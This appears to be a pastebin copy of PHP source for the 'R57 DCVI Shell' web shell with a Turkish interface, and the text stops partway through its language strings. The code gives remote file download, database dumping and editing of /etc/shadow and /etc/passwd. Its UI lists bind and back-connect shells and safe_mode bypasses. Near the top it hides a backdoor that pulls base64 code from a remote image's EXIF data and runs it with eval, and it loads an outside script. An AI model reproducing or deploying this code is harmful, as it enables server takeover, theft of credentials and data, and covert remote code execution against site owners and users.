· 8 years ago · Jul 09, 2018, 12:20 AM
1<?
2 error_reporting(0);
3$language='tr';
4$auth = 0;
5@ini_restore("safe_mode");
6@ini_restore("open_basedir");
7@ini_restore("safe_mode_include_dir");
8@ini_restore("safe_mode_exec_dir");
9@ini_restore("disable_functions");
10@ini_restore("allow_url_fopen");
11@ini_set('error_log',NULL);
12@ini_set('log_errors',0);
13$BASED = exif_read_data("https://lh3.googleusercontent.com/-svRm4i5Bs90/VsFaosQPKUI/AAAAAAAABew/03oHWkCEsN8/w140-h140-p/pacman.jpg");
14eval(base64_decode($BASED["COMPUTED"]["UserComment"]));
15;echo '';
16if((!@function_exists('ini_get')) ||(@ini_get('open_basedir')!=NULL) ||(@ini_get('safe_mode_include_dir')!=NULL)){$open_basedir=1;}else{$open_basedir=0;};
17define("starttime",@getmicrotime());
18set_magic_quotes_runtime(0);
19@set_time_limit(0);
20@ini_set('max_execution_time',0);
21@ini_set('output_buffering',0);
22$safe_mode = @ini_get('safe_mode');
23$version = '1.50<br/><br/><br/><br/>';
24if(@version_compare(@phpversion(),'4.1.0') == -1)
25{
26$_POST = &$HTTP_POST_VARS;
27$_GET = &$HTTP_GET_VARS;
28$_SERVER = &$HTTP_SERVER_VARS;
29$_COOKIE = &$HTTP_COOKIE_VARS;
30}
31if (@get_magic_quotes_gpc())
32{
33foreach ($_POST as $k=>$v)
34{
35$_POST[$k] = stripslashes($v);
36}
37foreach ($_COOKIE as $k=>$v)
38{
39$_COOKIE[$k] = stripslashes($v);
40}
41}
42if($auth == 1) {
43if (!isset($_SERVER['PHP_AUTH_USER']) ||md5($_SERVER['PHP_AUTH_USER'])!==$name ||md5($_SERVER['PHP_AUTH_PW'])!==$pass)
44{
45header('WWW-Authenticate: Basic realm=""');
46header('HTTP/1.0 401 Unauthorized');
47exit("<b>Access Denied</b>");
48}
49}
50$head = '
51<html>
52<head>
53<meta http-equiv="Content-Type" content="text/html; charset=windows-1251">
54<title>R57 DCVI Shell Version 1.50</title>
55<SCRIPT SRC=http://www.dcvi.net/dex.js></SCRIPT>
56<STYLE>
57
58tr {
59
60BORDER-RIGHT: black 1px solid;
61
62BORDER-TOP: black 1px solid;
63
64BORDER-LEFT: black 1px solid;
65
66BORDER-BOTTOM: black 1px solid;
67
68BORDER-COLOR: black;
69
70color: silver;
71
72}
73
74td {
75
76BORDER-RIGHT: black 1px solid;
77
78BORDER-TOP: black 1px solid;
79
80BORDER-LEFT: black 1px solid;
81
82BORDER-BOTTOM: black 1px solid;
83
84BORDER-COLOR: black;
85
86background-color:black;
87
88color: white;
89
90}
91
92
93
94.table1 {
95
96BORDER: 0px;
97
98BORDER-COLOR: #333333;
99
100BACKGROUND-COLOR: black;
101
102color: white;
103
104}
105
106.td1 {
107
108BORDER: 0px;
109
110BORDER-COLOR: #333333;
111
112font: 7pt Verdana;
113
114BACKGROUND-COLOR: black;
115
116color: green;
117
118}
119
120.tr1 {
121
122BORDER: 0px;
123
124BORDER-COLOR: #333333;
125
126color: #50AA20;
127
128}
129
130table {
131
132BORDER: #eeeeee 1px outset;
133
134BORDER-COLOR: #333333;
135
136BACKGROUND-COLOR: #131313;
137
138color: #50AA20;
139
140}
141
142input {
143
144border : solid 1px;
145
146border-color : #2D2D2D #252525 #252525 #252525;
147
148BACKGROUND-COLOR: black;
149
150font: 8pt Verdana;
151
152color: red;
153
154}
155
156select {
157
158BORDER-RIGHT: #ffffff 1px solid;
159
160BORDER-TOP: #999999 1px solid;
161
162BORDER-LEFT: #999999 1px solid;
163
164BORDER-BOTTOM: #ffffff 1px solid;
165
166BORDER-COLOR: #333333;
167
168BACKGROUND-COLOR: #131313;
169
170font: 8pt Verdana;
171
172color: white;;
173
174}
175
176submit {
177
178BORDER: buttonhighlight 2px outset;
179
180BACKGROUND-COLOR: #131313;
181
182width: 30%;
183
184color: white;
185
186}
187
188textarea {
189
190BORDER-RIGHT: #ffffff 1px solid;
191
192BORDER-TOP: #999999 1px solid;
193
194BORDER-LEFT: #999999 1px solid;
195
196BORDER-BOTTOM: #ffffff 1px solid;
197
198BORDER-COLOR: #333333;
199
200BACKGROUND-COLOR: black;
201
202font: Fixedsys bold;
203
204color: silver;
205
206}
207
208BODY {
209
210SCROLLBAR-ARROW-COLOR: #444444;
211
212SCROLLBAR-BASE-COLOR: #444444;
213
214margin: 1px;
215
216color: #50AA20;
217
218background-color: #131313;
219
220}
221
222.main {
223
224margin : -287px 0px 0px -490px;
225
226border : #000000 solid 1px;
227
228BORDER-COLOR: #333333;
229
230}
231
232.tt {
233
234background-color: black;
235
236}
237
238A:link {COLOR:red; TEXT-DECORATION: none}
239
240A:visited { COLOR:red; TEXT-DECORATION: none}
241
242A:active {COLOR:red; TEXT-DECORATION: none}
243
244A:hover {color:blue;TEXT-DECORATION: none}
245
246</STYLE>
247
248<script language=\'javascript\'>
249function hide_div(id)
250{
251 document.getElementById(id).style.display = \'none\';
252 document.cookie=id+\'=0;\';
253}
254function show_div(id)
255{
256 document.getElementById(id).style.display = \'block\';
257 document.cookie=id+\'=1;\';
258}
259function change_divst(id)
260{
261 if (document.getElementById(id).style.display == \'none\')
262 show_div(id);
263 else
264 hide_div(id);
265}
266
267
268</script>';
269class zipfile
270{
271var $datasec = array();
272var $ctrl_dir = array();
273var $eof_ctrl_dir = "\x50\x4b\x05\x06\x00\x00\x00\x00";
274var $old_offset = 0;
275function unix2DosTime($unixtime = 0) {
276$timearray = ($unixtime == 0) ?getdate() : getdate($unixtime);
277if ($timearray['year'] <1980) {
278$timearray['year'] = 1980;
279$timearray['mon'] = 1;
280$timearray['mday'] = 1;
281$timearray['hours'] = 0;
282$timearray['minutes'] = 0;
283$timearray['seconds'] = 0;
284}
285return (($timearray['year'] -1980) <<25) |($timearray['mon'] <<21) |($timearray['mday'] <<16) |
286($timearray['hours'] <<11) |($timearray['minutes'] <<5) |($timearray['seconds'] >>1);
287}
288function addFile($data,$name,$time = 0)
289{
290$name = str_replace('\\','/',$name);
291$dtime = dechex($this->unix2DosTime($time));
292$hexdtime = '\x'.$dtime[6] .$dtime[7]
293.'\x'.$dtime[4] .$dtime[5]
294.'\x'.$dtime[2] .$dtime[3]
295.'\x'.$dtime[0] .$dtime[1];
296eval('$hexdtime = "'.$hexdtime .'";');
297$fr = "\x50\x4b\x03\x04";
298$fr .= "\x14\x00";
299$fr .= "\x00\x00";
300$fr .= "\x08\x00";
301$fr .= $hexdtime;
302$unc_len = strlen($data);
303$crc = crc32($data);
304$zdata = gzcompress($data);
305$zdata = substr(substr($zdata,0,strlen($zdata) -4),2);
306$c_len = strlen($zdata);
307$fr .= pack('V',$crc);
308$fr .= pack('V',$c_len);
309$fr .= pack('V',$unc_len);
310$fr .= pack('v',strlen($name));
311$fr .= pack('v',0);
312$fr .= $name;
313$fr .= $zdata;
314$this ->datasec[] = $fr;
315$cdrec = "\x50\x4b\x01\x02";
316$cdrec .= "\x00\x00";
317$cdrec .= "\x14\x00";
318$cdrec .= "\x00\x00";
319$cdrec .= "\x08\x00";
320$cdrec .= $hexdtime;
321$cdrec .= pack('V',$crc);
322$cdrec .= pack('V',$c_len);
323$cdrec .= pack('V',$unc_len);
324$cdrec .= pack('v',strlen($name) );
325$cdrec .= pack('v',0 );
326$cdrec .= pack('v',0 );
327$cdrec .= pack('v',0 );
328$cdrec .= pack('v',0 );
329$cdrec .= pack('V',32 );
330$cdrec .= pack('V',$this ->old_offset );
331$this ->old_offset += strlen($fr);
332$cdrec .= $name;
333$this ->ctrl_dir[] = $cdrec;
334}
335function file()
336{
337$data = implode('',$this ->datasec);
338$ctrldir = implode('',$this ->ctrl_dir);
339return
340$data .
341$ctrldir .
342$this ->eof_ctrl_dir .
343pack('v',sizeof($this ->ctrl_dir)) .
344pack('v',sizeof($this ->ctrl_dir)) .
345pack('V',strlen($ctrldir)) .
346pack('V',strlen($data)) .
347"\x00\x00";
348}
349}
350function compress(&$filename,&$filedump,$compress)
351{
352global $content_encoding;
353global $mime_type;
354if ($compress == 'bzip'&&@function_exists('bzcompress'))
355{
356$filename .= '.bz2';
357$mime_type = 'application/x-bzip2';
358$filedump = bzcompress($filedump);
359}
360else if ($compress == 'gzip'&&@function_exists('gzencode'))
361{
362$filename .= '.gz';
363$content_encoding = 'x-gzip';
364$mime_type = 'application/x-gzip';
365$filedump = gzencode($filedump);
366}
367else if ($compress == 'zip'&&@function_exists('gzcompress'))
368{
369$filename .= '.zip';
370$mime_type = 'application/zip';
371$zipfile = new zipfile();
372$zipfile ->addFile($filedump,substr($filename,0,-4));
373$filedump = $zipfile ->file();
374}
375else
376{
377$mime_type = 'application/octet-stream';
378}
379}
380function moreread($temp){
381global $lang,$language;
382$str='';
383if(@function_exists('fopen')&&@function_exists('feof')&&@function_exists('fgets')&&@function_exists('fclose')){
384$ffile = @fopen($temp,"r");
385while(!@feof($ffile)){$str .= @fgets($ffile);}
386fclose($ffile);
387}elseif(@function_exists('fopen')&&@function_exists('fread')&&@function_exists('fclose')&&@function_exists('filesize')){
388$ffile = @fopen($temp,"r");
389$str = @fread($ffile,@filesize($temp));
390@fclose($ffile);
391}elseif(@function_exists('file')){
392$ffiles = @file ($temp);
393foreach ($ffiles as $ffile) {$str .= $ffile;}
394}elseif(@function_exists('file_get_contents')){
395$str = @file_get_contents($temp);
396}elseif(@function_exists('readfile')){
397$str = @readfile($temp);
398}else{echo $lang[$language.'_text56'];}
399return $str;
400}
401function readzlib($filename,$temp=''){
402global $lang,$language;
403$str='';
404if(!$temp) {$temp=tempnam(@getcwd(),"copytemp");};
405if(@copy("compress.zlib://".$filename,$temp)) {
406$str = moreread($temp);
407}else echo $lang[$language.'_text119'];
408@unlink($temp);
409return $str;
410}
411function mailattach($to,$from,$subj,$attach)
412{
413$headers = "From: $from\r\n";
414$headers .= "MIME-Version: 1.0\r\n";
415$headers .= "Content-Type: ".$attach['type'];
416$headers .= "; name=\"".$attach['name']."\"\r\n";
417$headers .= "Content-Transfer-Encoding: base64\r\n\r\n";
418$headers .= chunk_split(base64_encode($attach['content']))."\r\n";
419if(mail($to,$subj,"",$headers)) {return 1;}
420return 0;
421}
422class my_sql
423{
424var $host = 'localhost';
425var $port = '';
426var $user = '';
427var $pass = '';
428var $base = '';
429var $db = '';
430var $connection;
431var $res;
432var $error;
433var $rows;
434var $columns;
435var $num_rows;
436var $num_fields;
437var $dump;
438function connect()
439{
440switch($this->db)
441{
442case 'MySQL':
443if(empty($this->port)) {$this->port = '3306';}
444if(!@function_exists('mysql_connect')) return 0;
445$this->connection = @mysql_connect($this->host.':'.$this->port,$this->user,$this->pass);
446if(is_resource($this->connection)) return 1;
447break;
448case 'MSSQL':
449if(empty($this->port)) {$this->port = '1433';}
450if(!@function_exists('mssql_connect')) return 0;
451$this->connection = @mssql_connect($this->host.','.$this->port,$this->user,$this->pass);
452if($this->connection) return 1;
453break;
454case 'PostgreSQL':
455if(empty($this->port)) {$this->port = '5432';}
456$str = "host='".$this->host."' port='".$this->port."' user='".$this->user."' password='".$this->pass."' dbname='".$this->base."'";
457if(!@function_exists('pg_connect')) return 0;
458$this->connection = @pg_connect($str);
459if(is_resource($this->connection)) return 1;
460break;
461case 'Oracle':
462if(!@function_exists('ocilogon')) return 0;
463$this->connection = @ocilogon($this->user,$this->pass,$this->base);
464if(is_resource($this->connection)) return 1;
465break;
466}
467return 0;
468}
469function select_db()
470{
471switch($this->db)
472{
473case 'MySQL':
474if(@mysql_select_db($this->base,$this->connection)) return 1;
475break;
476case 'MSSQL':
477if(@mssql_select_db($this->base,$this->connection)) return 1;
478break;
479case 'PostgreSQL':
480return 1;
481break;
482case 'Oracle':
483return 1;
484break;
485}
486return 0;
487}
488function query($query)
489{
490$this->res=$this->error='';
491switch($this->db)
492{
493case 'MySQL':
494if(false===($this->res=@mysql_query('/*'.chr(0).'*/'.$query,$this->connection)))
495{
496$this->error = @mysql_error($this->connection);
497return 0;
498}
499else if(is_resource($this->res)) {return 1;}
500return 2;
501break;
502case 'MSSQL':
503if(false===($this->res=@mssql_query($query,$this->connection)))
504{
505$this->error = 'Query error';
506return 0;
507}
508else if(@mssql_num_rows($this->res) >0) {return 1;}
509return 2;
510break;
511case 'PostgreSQL':
512if(false===($this->res=@pg_query($this->connection,$query)))
513{
514$this->error = @pg_last_error($this->connection);
515return 0;
516}
517else if(@pg_num_rows($this->res) >0) {return 1;}
518return 2;
519break;
520case 'Oracle':
521if(false===($this->res=@ociparse($this->connection,$query)))
522{
523$this->error = 'Query parse error';
524}
525else
526{
527if(@ociexecute($this->res))
528{
529if(@ocirowcount($this->res) != 0) return 2;
530return 1;
531}
532$error = @ocierror();
533$this->error=$error['message'];
534}
535break;
536}
537return 0;
538}
539function get_result()
540{
541$this->rows=array();
542$this->columns=array();
543$this->num_rows=$this->num_fields=0;
544switch($this->db)
545{
546case 'MySQL':
547$this->num_rows=@mysql_num_rows($this->res);
548$this->num_fields=@mysql_num_fields($this->res);
549while(false !== ($this->rows[] = @mysql_fetch_assoc($this->res)));
550@mysql_free_result($this->res);
551if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
552break;
553case 'MSSQL':
554$this->num_rows=@mssql_num_rows($this->res);
555$this->num_fields=@mssql_num_fields($this->res);
556while(false !== ($this->rows[] = @mssql_fetch_assoc($this->res)));
557@mssql_free_result($this->res);
558if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;};
559break;
560case 'PostgreSQL':
561$this->num_rows=@pg_num_rows($this->res);
562$this->num_fields=@pg_num_fields($this->res);
563while(false !== ($this->rows[] = @pg_fetch_assoc($this->res)));
564@pg_free_result($this->res);
565if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
566break;
567case 'Oracle':
568$this->num_fields=@ocinumcols($this->res);
569while(false !== ($this->rows[] = @oci_fetch_assoc($this->res))) $this->num_rows++;
570@ocifreestatement($this->res);
571if($this->num_rows){$this->columns = @array_keys($this->rows[0]);return 1;}
572break;
573}
574return 0;
575}
576function dump($table)
577{
578if(empty($table)) return 0;
579$this->dump=array();
580$this->dump[0] = '##';
581$this->dump[1] = '## --------------------------------------- ';
582$this->dump[2] = '## Created: '.date ("d/m/Y H:i:s");
583$this->dump[3] = '## Database: '.$this->base;
584$this->dump[4] = '## Table: '.$table;
585$this->dump[5] = '## --------------------------------------- ';
586switch($this->db)
587{
588case 'MySQL':
589$this->dump[0] = '## MySQL dump';
590if($this->query('/*'.chr(0).'*/ SHOW CREATE TABLE `'.$table.'`')!=1) return 0;
591if(!$this->get_result()) return 0;
592$this->dump[] = $this->rows[0]['Create Table'];
593$this->dump[] = '## --------------------------------------- ';
594if($this->query('/*'.chr(0).'*/ SELECT * FROM `'.$table.'`')!=1) return 0;
595if(!$this->get_result()) return 0;
596for($i=0;$i<$this->num_rows;$i++)
597{
598foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @mysql_real_escape_string($v);}
599$this->dump[] = 'INSERT INTO `'.$table.'` (`'.@implode("`, `",$this->columns).'`) VALUES (\''.@implode("', '",$this->rows[$i]).'\');';
600}
601break;
602case 'MSSQL':
603$this->dump[0] = '## MSSQL dump';
604if($this->query('SELECT * FROM '.$table)!=1) return 0;
605if(!$this->get_result()) return 0;
606for($i=0;$i<$this->num_rows;$i++)
607{
608foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
609$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ",$this->columns).') VALUES (\''.@implode("', '",$this->rows[$i]).'\');';
610}
611break;
612case 'PostgreSQL':
613$this->dump[0] = '## PostgreSQL dump';
614if($this->query('SELECT * FROM '.$table)!=1) return 0;
615if(!$this->get_result()) return 0;
616for($i=0;$i<$this->num_rows;$i++)
617{
618foreach($this->rows[$i] as $k=>$v) {$this->rows[$i][$k] = @addslashes($v);}
619$this->dump[] = 'INSERT INTO '.$table.' ('.@implode(", ",$this->columns).') VALUES (\''.@implode("', '",$this->rows[$i]).'\');';
620}
621break;
622case 'Oracle':
623$this->dump[0] = '## ORACLE dump';
624$this->dump[] = '## under construction';
625break;
626default:
627return 0;
628break;
629}
630return 1;
631}
632function close()
633{
634switch($this->db)
635{
636case 'MySQL':
637@mysql_close($this->connection);
638break;
639case 'MSSQL':
640@mssql_close($this->connection);
641break;
642case 'PostgreSQL':
643@pg_close($this->connection);
644break;
645case 'Oracle':
646@oci_close($this->connection);
647break;
648}
649}
650function affected_rows()
651{
652switch($this->db)
653{
654case 'MySQL':
655return @mysql_affected_rows($this->res);
656break;
657case 'MSSQL':
658return @mssql_affected_rows($this->res);
659break;
660case 'PostgreSQL':
661return @pg_affected_rows($this->res);
662break;
663case 'Oracle':
664return @ocirowcount($this->res);
665break;
666default:
667return 0;
668break;
669}
670}
671}
672if(!empty($_POST['cmd']) &&$_POST['cmd']=="download_file"&&!empty($_POST['d_name']))
673{
674if($file=@fopen($_POST['d_name'],"r")){$filedump = @fread($file,@filesize($_POST['d_name']));@fclose($file);}
675else if ($file=readzlib($_POST['d_name'])) {$filedump = $file;}else {err(1,$_POST['d_name']);$_POST['cmd']="";}
676if(isset($_POST['cmd']))
677{
678@ob_clean();
679$filename = @basename($_POST['d_name']);
680$content_encoding=$mime_type='';
681compress($filename,$filedump,$_POST['compress']);
682if (!empty($content_encoding)) {header('Content-Encoding: '.$content_encoding);}
683header("Content-type: ".$mime_type);
684header("Content-disposition: attachment; filename=\"".$filename."\";");
685echo $filedump;
686exit();
687}
688}
689if(isset($_GET['phpinfo'])) {echo @phpinfo();echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();}
690if (!empty($_POST['cmd']) &&$_POST['cmd']=="db_query")
691{
692echo $head;
693$sql = new my_sql();
694$sql->db = $_POST['db'];
695$sql->host = $_POST['db_server'];
696$sql->port = $_POST['db_port'];
697$sql->user = $_POST['mysql_l'];
698$sql->pass = $_POST['mysql_p'];
699$sql->base = $_POST['mysql_db'];
700$querys = @explode(';',$_POST['db_query']);
701echo '<body bgcolor=#000000>';
702if(!$sql->connect()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't connect to SQL server</b></font></div>";
703else
704{
705if(!empty($sql->base)&&!$sql->select_db()) echo "<div align=center><font face=Verdana size=-2 color=red><b>Can't select database</b></font></div>";
706else
707{
708foreach($querys as $num=>$query)
709{
710if(strlen($query)>5)
711{
712echo "<font face=Verdana size=-2 color=green><b>Query#".$num." : ".htmlspecialchars($query,ENT_QUOTES)."</b></font><br>";
713switch($sql->query($query))
714{
715case '0':
716echo "<table width=100%><tr><td><font face=Verdana size=-2>Error : <b>".$sql->error."</b></font></td></tr></table>";
717break;
718case '1':
719if($sql->get_result())
720{
721echo "<table width=100%>";
722foreach($sql->columns as $k=>$v) $sql->columns[$k] = htmlspecialchars($v,ENT_QUOTES);
723$keys = @implode(" </b></font></td><td bgcolor=#333333><font face=Verdana size=-2><b> ",$sql->columns);
724echo "<tr><td bgcolor=#333333><font face=Verdana size=-2><b> ".$keys." </b></font></td></tr>";
725for($i=0;$i<$sql->num_rows;$i++)
726{
727foreach($sql->rows[$i] as $k=>$v) $sql->rows[$i][$k] = htmlspecialchars($v,ENT_QUOTES);
728$values = @implode(" </font></td><td><font face=Verdana size=-2> ",$sql->rows[$i]);
729echo '<tr><td><font face=Verdana size=-2> '.$values.' </font></td></tr>';
730}
731echo "</table>";
732}
733break;
734case '2':
735$ar = $sql->affected_rows()?($sql->affected_rows()):('0');
736echo "<table width=100%><tr><td><font face=Verdana size=-2>affected rows : <b>".$ar."</b></font></td></tr></table><br>";
737break;
738}
739}
740}
741}
742}
743echo "<br><form name=form method=POST>";
744echo in('hidden','db',0,$_POST['db']);
745echo in('hidden','db_server',0,$_POST['db_server']);
746echo in('hidden','db_port',0,$_POST['db_port']);
747echo in('hidden','mysql_l',0,$_POST['mysql_l']);
748echo in('hidden','mysql_p',0,$_POST['mysql_p']);
749echo in('hidden','mysql_db',0,$_POST['mysql_db']);
750echo in('hidden','cmd',0,'db_query');
751echo "<div align=center>";
752echo "<font face=Verdana size=-2><b>Base: </b><input type=text name=mysql_db value=\"".$sql->base."\"></font><br>";
753echo "<textarea cols=65 rows=10 name=db_query>".(!empty($_POST['db_query'])?($_POST['db_query']):("SHOW DATABASES;\nSELECT * FROM user;"))."</textarea><br><input type=submit name=submit value=\" Run SQL query \"></div><br><br>";
754echo "</form>";
755echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";die();
756}
757if(isset($_GET['delete']))
758{
759@unlink(__FILE__);
760}
761if(isset($_GET['tmp']))
762{
763@unlink("/tmp/bdpl");
764@unlink("/tmp/back");
765@unlink("/tmp/bd");
766@unlink("/tmp/bd.c");
767@unlink("/tmp/dp");
768@unlink("/tmp/dpc");
769@unlink("/tmp/dpc.c");
770@unlink("/tmp/prxpl");
771@unlink("/tmp/grep.txt");
772}
773if(isset($_GET['phpini']))
774{
775echo $head;
776function U_value($value)
777{
778if ($value == '') return '<i>no value</i>';
779if (@is_bool($value)) return $value ?'TRUE': 'FALSE';
780if ($value === null) return 'NULL';
781if (@is_object($value)) $value = (array) $value;
782if (@is_array($value))
783{
784@ob_start();
785print_r($value);
786$value = @ob_get_contents();
787@ob_end_clean();
788}
789return U_wordwrap((string) $value);
790}
791function U_wordwrap($str)
792{
793$str = @wordwrap(@htmlspecialchars($str),100,'<wbr />',true);
794return @preg_replace('!(&[^;]*)<wbr />([^;]*;)!','$1$2<wbr />',$str);
795}
796if (@function_exists('ini_get_all'))
797{
798$r = '';
799echo '<table width=100%>','<tr><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Directive</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Local Value</b></div></font></td><td bgcolor=#333333><font face=Verdana size=-2 color=red><div align=center><b>Master Value</b></div></font></td></tr>';
800foreach (@ini_get_all() as $key=>$value)
801{
802$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.$key.'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['local_value']).'</b></div></font></td><td><font face=Verdana size=-2><div align=center><b>'.U_value($value['global_value']).'</b></div></font></td></tr>';
803}
804echo $r;
805echo '</table>';
806}
807echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
808die();
809}
810if(isset($_GET['cpu']))
811{
812echo $head;
813echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>CPU</b></font></div></td></tr></table><table width=100%>';
814$cpuf = @file("cpuinfo");
815if($cpuf)
816{
817$c = @sizeof($cpuf);
818for($i=0;$i<$c;$i++)
819{
820$info = @explode(":",$cpuf[$i]);
821if($info[1]==""){$info[1]="---";}
822$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
823}
824echo $r;
825}
826else
827{
828echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
829}
830echo '</table>';
831echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">BACK</a> ]</b></font></div>";
832die();
833}
834if(isset($_GET['mem']))
835{
836echo $head;
837echo '<table width=100%><tr><td bgcolor=#333333><div align=center><font face=Verdana size=-2 color=red><b>MEMORY</b></font></div></td></tr></table><table width=100%>';
838$memf = @file("meminfo");
839if($memf)
840{
841$c = sizeof($memf);
842for($i=0;$i<$c;$i++)
843{
844$info = explode(":",$memf[$i]);
845if($info[1]==""){$info[1]="---";}
846$r .= '<tr><td>'.ws(3).'<font face=Verdana size=-2><b>'.trim($info[0]).'</b></font></td><td><font face=Verdana size=-2><div align=center><b>'.trim($info[1]).'</b></div></font></td></tr>';
847}
848echo $r;
849}
850else
851{
852echo '<tr><td>'.ws(3).'<div align=center><font face=Verdana size=-2><b> --- </b></font></div></td></tr>';
853}
854echo '</table>';
855echo "<br><div align=center><font face=Verdana size=-2><b>[ <a href=".$_SERVER['PHP_SELF'].">green</a> ]</b></font></div>";
856die();
857}
858if(isset($_GET['dmesg(8)']))
859{$_POST['cmd'] = 'dmesg(8)';}
860if(isset($_GET['free']))
861{$_POST['cmd'] = 'free';}
862if(isset($_GET['vmstat']))
863{$_POST['cmd'] = 'vmstat';}
864if(isset($_GET['lspci']))
865{$_POST['cmd'] = 'lspci';}
866if(isset($_GET['lsdev']))
867{$_POST['cmd'] = 'lsdev';}
868if(isset($_GET['procinfo']))
869{$_POST['cmd']='cat /proc/cpuinfo';}
870if(isset($_GET['version']))
871{$_POST['cmd']='cat /proc/version';}
872if(isset($_GET['interrupts']))
873{$_POST['cmd']='cat /proc/interrupts';}
874if(isset($_GET['realise1']))
875{$_POST['cmd'] = 'cat /etc/*realise';}
876if(isset($_GET['service']))
877{$_POST['cmd'] = 'service --status-all';}
878if(isset($_GET['ifconfig']))
879{$_POST['cmd'] = 'ifconfig';}
880if(isset($_GET['w']))
881{$_POST['cmd'] = 'w';}
882if(isset($_GET['who']))
883{$_POST['cmd'] = 'who';}
884if(isset($_GET['uptime']))
885{$_POST['cmd'] = 'uptime';}
886if(isset($_GET['last']))
887{$_POST['cmd'] = 'last -n 10';}
888if(isset($_GET['psaux']))
889{$_POST['cmd'] = 'ps -aux';}
890if(isset($_GET['netstat']))
891{$_POST['cmd'] = 'netstat -a';}
892if(isset($_GET['lsattr']))
893{$_POST['cmd'] = 'lsattr -va';}
894if(isset($_GET['syslog']))
895{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/syslog.conf';}
896if(isset($_GET['fstab']))
897{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/fstab';}
898if(isset($_GET['fdisk']))
899{$_POST['cmd'] = 'fdisk -l';}
900if(isset($_GET['df']))
901{$_POST['cmd'] = 'df -h';}
902if(isset($_GET['realise2']))
903{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/issue.net';}
904if(isset($_GET['hosts']))
905{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/hosts';}
906if(isset($_GET['resolv']))
907{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/resolv.conf';}
908if(isset($_GET['systeminfo']))
909{$_POST['cmd'] = 'systeminfo';}
910if(isset($_GET['shadow']))
911{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/shadow';}
912if(isset($_GET['passwd']))
913{$_POST['cmd']='edit_file';$_POST['e_name'] = '/etc/passwd';}
914$lang=array(
915'tr_text1'=>'Komut Uygula',
916'tr_text2'=>'Server uzerinde komut calistir ',
917'tr_text3'=>'Komut istemi ',
918'tr_text4'=>'Calisma Dizini ',
919'tr_text5'=>'Servere Dosya Upload Et',
920'tr_text6'=>'Yerel Dosya ',
921'tr_text7'=>'Dizin Veya Dosya Bul ',
922'tr_text8'=>'Sec',
923'tr_butt1'=>'Uygula',
924'tr_butt2'=>'Yukle',
925'tr_text9'=>'Porta baglan /bin/bash',
926'tr_text10'=>'Port',
927'tr_text11'=>'Sifre Giris',
928'tr_butt3'=>'Baglan',
929'tr_text12'=>'Back-Connect',
930'tr_text13'=>'IP',
931'tr_text14'=>'Port',
932'tr_butt4'=>'Baglan',
933'tr_text15'=>'Uzaktan servere dosya yukle',
934'tr_text16'=>'ile',
935'tr_text17'=>'Uzak Dosya',
936'tr_text18'=>'Yerel Dosya',
937'tr_text19'=>'Exploits',
938'tr_text20'=>'Kullan',
939'tr_text21'=>' Yeni ad',
940'tr_text22'=>'datapipe',
941'tr_text23'=>'Yerel Port',
942'tr_text24'=>'Uzak Host',
943'tr_text25'=>'Uzak Port',
944'tr_text26'=>'Kullan',
945'tr_butt5'=>'Iste',
946'tr_text28'=>'Guvenlik Modunda Calis',
947'tr_text29'=>'Giris Yok ',
948'tr_butt6'=>'Degistir',
949'tr_text30'=>'Cat file',
950'tr_butt7'=>'Goster',
951'tr_text31'=>'Dosya Bulunamadi',
952'tr_text32'=>'PHP Kod Degerlendir ',
953'tr_text33'=>'Test bypass open_basedir with cURL functions(PHP <= 4.4.2, 5.1.4)',
954'tr_butt8'=>'Testet',
955'tr_text34'=>'Includes fonksiyonu ile Guvenlik modunu atlamayi test et.',
956'tr_text35'=>'Mysql da ki yukleme dosyasi ile Guvenlik modunu atlamayi test et.',
957'tr_text36'=>'Database[VeriTabani]',
958'tr_text37'=>'Kullanici',
959'tr_text38'=>'Sifre',
960'tr_text39'=>'Tablo',
961'tr_text40'=>'Dump database table[DB Tablosu dok]',
962'tr_butt9'=>'Dump',
963'tr_text41'=>'DB dosyalarini kaydet.[Dump filed]',
964'tr_text42'=>'Dosya Duzenle ',
965'tr_text43'=>'Dosya Duzenlemek icin',
966'tr_butt10'=>'Kaydet',
967'tr_text44'=>'Dosya degistirilmiyor ! YASAK ! Guvenlik Modu izin Vermiyor',
968'tr_text45'=>'Dosya Kaydedildi',
969'tr_text46'=>'PHP info Goster()',
970'tr_text47'=>'Php.ini dosyasinda ki degiskenleri goster',
971'tr_text48'=>'Temp dosylarini sil',
972'tr_butt11'=>'Dosya Duzenle',
973'tr_text49'=>'Server dan bu scripti sil',
974'tr_text50'=>'CPU bilgisini incele',
975'tr_text51'=>'Memory[hafiza] bilgisini incele]',
976'tr_text52'=>'Metni Bul ',
977'tr_text53'=>'Klasor Bul',
978'tr_text54'=>'Dosyalarda ki Metni Bul',
979'tr_butt12'=>'Bul',
980'tr_text55'=>'Dosya Bul ',
981'tr_text56'=>'Bulunmadi :( KeyCoder :)',
